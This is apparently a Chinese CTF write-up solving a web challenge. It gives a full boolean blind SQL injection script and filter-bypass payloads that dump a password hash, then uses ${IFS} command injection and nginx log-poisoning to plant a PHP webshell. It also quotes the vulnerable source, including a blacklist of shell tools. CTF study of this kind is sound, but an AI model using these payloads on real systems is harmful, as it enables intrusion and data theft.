http://www.bmzclub.cn/challenges#%E6%B5%81%E9%87%8F%E7%9B%91%E6%8E%A7%E5%B9%B3%E5%8F%B0
通过枚举可知存在admin
用户,当uname=admin
时,发现提示密码错误,当uname!=admin
时提示用户名错误。
另外存在过滤SQL关键字符
简单fuzz一下过滤了哪些字符
首先注释无法使用,可以通过构造字符闭合来绕过
空格及内联注释也无法使用,可以利用()
绕过
and
、or
、&
、|
都被过滤,可以使用同或
,虽然mysql只支持not
、and
、or
、xor
四种运算符。但是同或
的运算逻辑也是可以在mysql中可以用符号!=!
表示的。同或的运算逻辑与异或相反
and/&&的逻辑:
1 and 1 == 1
1 and 0 == 0
0 and 1 == 0
0 and 0 == 0or/||的逻辑:
1 or 1 == 1
1 or 0 == 1
0 or 1 == 1
0 or 0 == 0同或!=!的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1异或xor的逻辑:
1 xor 1 == 0
0 xor 1 == 1
1 xor 0 == 1
0 xor 0 == 0
这里我们只需要控制中间的表达式值对注入信息的每一位fuzz,进行布尔盲注即可,如下图所示
当测试注入语句正确时,只返回一条admin
的数据,这时候username
是正确的,所以返回password
错误。当注入测试语句时错误的,则返回username
错误,以此作为判断依据。
但是从fuzz的黑名单中已知了,逗号,
是被过滤得。得尝试不适用逗号也能截位。
经查阅资料,发现可以使用from x for y
的方法来绕过逗号,
但是有问题的是这里的for
也含有or
,此类含有or
字符的SQL关键字还有information
当mysql版本大于
5.6
时information
的绕过就是利用innodb
引擎下自带的两张信息表:innodb_index_stats
、innodb_table_stats
from x for y
没有for
一样可以截位,只不过不能一位一位截取罢了
综上所述即可构造
uname=admin'!=!(ascii(mid(user()from(-1)))=116)!=!'1&passwd=mochu7
将user()
最后一位的ascii码
改为不正确时,返回username error
可以猜测一下user()
是不是root@localhost
,不过这样就不能用ascii()
了,可以用hex()
。后面脚本也都是用hex()
uname=admin'!=!(hex(mid(user()from(-14)))='726F6F74406C6F63616C686F7374')!=!'1&passwd=mochu7
接下来使用Python开始编写盲注脚本
import requests
import string
from binascii import *allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'burp0_url = "http://www.bmzclub.cn:20351/login.php"
burp0_cookies = {"PHPSESSID": "l9tsv3e1umnp0lk9dahkee5l41", "session": "6bc4a005-f112-45e7-a15d-8b323e5b879d"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://www.bmzclub.cn:20351", "Connection": "close", "Referer": "http://www.bmzclub.cn:20351/", "Upgrade-Insecure-Requests": "1"}hexdata = ''for l in range(1,50):for s in allstr:s = hexlify(bytes(s.encode())).decode().upper()payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)burp0_data = {"uname": payload, "passwd": "mochu7"}resp = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)if 'password error!!@_@' in resp.text:hexdata = s + hexdataprint(unhexlify(hexdata).decode())else:continue
查用户名/当前数据库/版本
payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)payload = "admin'!=!(hex(mid(database()from(-{})))='{}')!=!'1".format(l,s+hexdata)payload = "admin'!=!(hex(mid(version()from(-{})))='{}')!=!'1".format(l,s+hexdata)
注入得到的信息如下:
user(): root@localhostcurrent_database(): ctfversion(): 10.2.26-MariaDB-log
查ctf库中的表名
payload = "admin'!=!(hex(mid((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)='ctf')from(-{})))='{}')!=!'1".format(l,s+hexdata)
查询结果显示当前数据库中只有一张admin
表
接下来无法通过innodb
这两张表查到字段的数据了,因为限制太多,如限制了反引号。不确定能否通过盲注查询出字段数据,这里就不继续查询admin
表字段数据了,直接就可以通过POST的参数尝试猜测字段名为uname
和passwd
如果这里没有过滤
*
,那就可以直接select * from ctf.admin;
查字段uname
的内容
payload = "admin'!=!((select(hex(mid(group_concat(uname)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)
只有一个用户admin
继续查字段passwd
的内容
payload = "admin'!=!((select(hex(mid(group_concat(passwd)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)
得到用户admin
的密码:e10adc3949ba59abbe56e057f20f883e
应该是md5
,拿去cmd5查询一下
。。。。。。。密码就这???????
上面所有的努力就是一个弱口令登陆的的事情???????
唉,早知道就直接尝试弱口令了。不过没关系。毕竟是CTF,能学到的以前不知道的姿势就行,又不是实战渗透。
实战估计早就吐血了。
得到密码后成功登录
猜测命令执行,没有回显猜测是exec()
执行
命令执行出错有回显
测试的时候发现,有过滤
简单fuzz了下发现过滤了nc
、bash
、python
、php
、wget
、ftp
、sh
、>
以及空格
等,命令执行绕过,过滤了这些应该很容易就绕过了吧,姿势网上多的很,这里就不赘述了。
另外经过多次测试后发现这里执行命令对错应该是直接判断exec()
的返回值,这样的话显示的命令执行对错就没什么用了,有些正确的命令本身没有输出例如cp
、mv
等。而且有些错误的命令执行会输出报错信息,被exec()
作为返回值反而回显命令执行成功。
一开始试了下反弹shell,结果试了很多次没成功,也是迷。干脆就用别的办法了。
第一种方法:利用cp
将flag直接复制到web目录下
cp${IFS}/flag${IFS}./flag.html
直接访问/admin/flag.html
第二种方法:利用burp,将shell写在url后面
Nginx的服务器,默认日志文件地址/var/log/nginx/access.log
或者/var/log/nginx/error.log
利用cp
将日志文件复制到web目录,后缀为php
cp${IFS}/var/log/nginx/access.log${IFS}mochu7.ph\p
执行完成后,访问http://www.bmzclub.cn:20351/admin/mochu7.php
成功拿到shell
有命令执行,操作空间就很大。还有很多别的方法自己去发掘吧。
最后贴一下源码
login.php
<?phpheader("Content-Type:text/html;charset=utf-8");error_reporting(E_ERROR);define ('PATH_WEB', dirname(__FILE__).'/');require_once(dirname(__FILE__).'/include/conf.php');require_once(dirname(__FILE__).'/include/fiter.php');#var_dump($_SESSION);if($_SESSION['flag'] === 1){header("location:./admin/");exit;}#echo $_POST['uname'].'````'.$_POST['passwd'];if($_POST['uname'] && $_POST['passwd']){$obj = new fiter();$uname = $obj->sql_clean($_POST['uname']);$passwd = md5($_POST['passwd']);$query="SELECT * FROM admin WHERE uname='".$uname."'";$result=mysql_query($query);#var_dump($result);if ($row = mysql_fetch_array($result)){#print_r($row);echo "\n\r<br/>";if ($row['passwd']===$passwd){$_SESSION['flag'] = 1;#echo $_SESSION['flag'];header("location:./admin/");exit();}else{echo "<script> alert('password error!!@_@');parent.location.href='index.php'; </script>"; exit();}}else{echo "<script> alert('username error!!@_@');parent.location.href='index.php'; </script>"; exit();}}else {echo "<script> alert('username and password must have a value!!@_@');parent.location.href='index.php'; </script>"; exit();}
?>
filter.php
<?php
class fiter{var $str;var $order;function sql_clean($str){if(is_array($str)){echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;}$filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";//由于在mysql中认为 %a0 也是空格,所以这里也需要过滤,//在这里做了修改,添加 %a0if(preg_match($filter,$str)){echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;}else if(strrpos($str,urldecode("%00"))){echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;}return $this->str=$str;}function ord_clean($ord){$filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";if (preg_match("/".$filter."/i",$ord) == 1){return $this->order = "";}return $this->order = $ord;}
?>
admin/index.php
<?php
header("Content-Type:text/html;charset=utf-8");
$o = new fiter();
$a = $o->ord_clean($_POST['ord']);
if($a){if(exec($a))echo '命令执行成功!!';else echo "命令执行出错!!";
}else echo "想干啥呢~_~!!"
?>